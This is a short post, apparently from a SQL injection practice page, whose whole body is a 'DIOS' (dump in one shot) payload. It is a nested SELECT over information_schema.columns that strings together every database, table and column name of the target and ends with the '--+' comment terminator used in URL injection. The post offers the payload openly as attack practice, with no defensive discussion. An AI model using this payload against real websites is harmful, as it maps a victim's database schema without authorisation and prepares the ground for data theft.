Little more practice with DIOS :->

Little more practice with DIOS :->
(
select (@a) from
(
select (@a:=0x00),(@tbl:=0x00),
(
select (@a) from (information_schema.columns) where (table_schema!='information_schema') and (@a) in
(
@a:=concat(
@a,'<br>',
if(
(@tbl!=table_name),
concat('<br>','Database:-> ',table_schema,' | Table Name :->',table_name,' | Column Name :->',column_name,'<br>'),
(column_name)
)
)
)
)
)
a)
--+